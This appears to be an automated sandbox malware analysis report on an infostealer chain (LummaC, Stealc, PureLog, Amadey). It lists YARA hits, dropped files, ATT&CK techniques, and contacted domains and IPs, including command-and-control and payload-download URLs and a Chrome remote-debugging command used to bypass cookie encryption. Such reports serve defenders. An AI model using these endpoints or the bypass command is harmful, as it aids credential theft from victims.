Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Directory queried: number of queries: 2002

Source: Yara match	File source: 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2803095307.0000000001693000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2817325747.0000000001694000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2776055082.0000000001693000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2998393956.0000000001452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 5828, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 7a7de3f1d8.exe PID: 8128, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.0.6f93831ea2.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.46594e0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.46594e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000021.00000002.2984159322.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2663325624.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2859507877.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2986000648.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 2844, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match

File source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00B9EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00B9DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	256 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	112 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	371 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
cheapptaxysu.click	172.67.177.88	true	false	high
lossekniyyt.click	172.67.131.246	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.110	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
discokeyus.lat	172.67.197.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
grannyejh.lat	false	high
https://lossekniyyt.click/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://31.41.244.11/files/x3team/random.exe760	skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://discokeyus.lat/W	b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.3050373606.000001C1279D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.0000023194672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C0286000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/d	b1c5a9309d.exe, 0000000C.00000003.2905040057.000000000164D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.3350930206.000001C13777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2888705098.000001C13FC90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3378808073.000001C138F53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134641000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C13467D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3211469866.000001C1339DA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.3322743316.000001C13594D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	false	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3364852860.000001C1382D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apill	b1c5a9309d.exe, 0000000C.00000003.2901799963.0000000001694000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.0000000001699000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2863390658.000000000169A000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954786705.000000000169A000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2844934441.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/YwI	b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3372926017.000001C138B8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://profiler.firefox.com/	firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp	false	high
